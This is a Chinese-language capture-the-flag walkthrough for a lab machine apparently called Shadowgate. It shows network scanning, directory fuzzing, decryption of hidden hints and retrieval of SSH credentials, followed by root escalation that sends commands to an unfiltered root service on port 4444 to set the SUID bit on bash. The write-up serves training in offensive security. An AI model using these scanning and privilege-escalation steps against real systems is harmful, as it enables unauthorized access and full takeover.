信息收集
服务探测
1 | ❯ sudo arp-scan -l |
有个8080端口开放,尝试目录枚举一下
扫的很慢,得到/login
目录
1 | ❯ gobuster dir -u http://$ip:8080 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -t 50 -x php,html,zip,txt -b 404,403,503 |
探测服务技术栈,是利用pthon
的Flask
框架搭建的
难怪扫的这么慢,正常了
1 | ❯ whatweb http://$ip:8080 |
利用nc探测一下56789
端口
倒是得到一些提示n0cturne
关键字,patterns
藏在噪声中
1 | ❯ nc -vn $ip 56789 |
端口56789
我尝试输入n0cturne
得到回显
1 | ❯ nc -vn $ip 56789 |
分别解码一下,得到c4f7d35
还有一些脏数据,结合上面的提示,那就是噪声了
1 | ❯ echo "YzRmN2QzNQ=="|base64 -d |
除了第一行的数据,其他行都是随机生成的噪声
不过当我再次输入c4f7d35
会显示访问被拒绝,不对,是任何字符都会被拒绝
1 | ❯ nc -vn $ip 56789 |
换到8080端口上吧,利用curl访问一下
只可以利用POST
方式访问/login
目录
1 | ❯ curl "http://$ip:8080" |
我尝试将c4f7d35
作为数据,得到新的提示
1 | ❯ curl "http://$ip:8080/login" -X POST -d "c4f7d35" |
但我们只有一条有效信息
查看Macii
的WP后得知,那个是添加了噪声的关键信息,并且噪声是随机的,所以每次生成的base64都不同
将c4f7d35
作为密钥并且使用AES_ECB
算法解密每组Base64
数据,并提取每一段的首字符
1 | from Crypto.Cipher import AES |
执行后得到v4u1tgx9
1 | ❯ python3 decrypt.py |
端口8080
利用此用户名尝试进行登录
1 | ❯ curl "http://$ip:8080/login" -X POST -d "username=v4u1tgx9" |
根据提示我们查看一下Token
信息
额外得到X-Shadow-Clue
值和X-Shadow-MFA
值
1 | ❯ curl "http://$ip:8080/login" -X POST -d "username=v4u1tgx9" -v -s |
我尝试模糊测试一下,携带此Cookie
枚举其他目录
得到verify
目录
1 | ❯ wfuzz -c -u http://192.168.60.181:8080/FUZZ -d "username=v4u1tgx9" -H "X-Shadow-Clue:wrHCp8O4wrXCtsOlw5/Dvg==" -H "User-Agent:Mozilla/5.0" -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt --hc 403 |
尝试访问一下
1 | ❯ curl "http://$ip:8080/verify" -X POST -d "username=v4u1tgx9" -s -H "X-Shadow-Clue:wrHCp8O4wrXCtsOlw5/Dvg==" |
那就再重新在login
获取X-Shadow-MFA
,因为MFA
每次访问都会变化
原来token
是在POST的data
数据段中,而不是请求头信息
1 | ❯ curl "http://$ip:8080/login" -X POST -d "username=v4u1tgx9" -s -v |
利用nc再次连接一下
得到ssh连接凭证
1 | ❯ nc -vn $ip 56789 |
用户提权
尝试连接一下
用户没有sudo权限
1 | ❯ ssh mars@$ip |
不过可以看到本地开放了4444端口
1 | mars@TheHackersLabs-Shadowgate:/opt/shadow-tools/bin$ ss -luntp|grep 4444 |
Root提权
并且在/opt/shadow-tools/bin
目录下存在shadow-client.py
1 | mars@TheHackersLabs-Shadowgate:/opt/shadow-tools/bin$ cat shadow-client.py |
审计代码,发现可以执行任意命令,并且没有过滤
执行python代码,发现运行的所属用户是root
给bash添加suid即可
1 | mars@TheHackersLabs-Shadowgate:/opt/shadow-tools/bin$ nc 127.0.0.1 4444 |
后记
8080端口相关代码
1 | #!/usr/bin/env python3 |
56789端口相关代码
1 | #!/usr/bin/env python3 |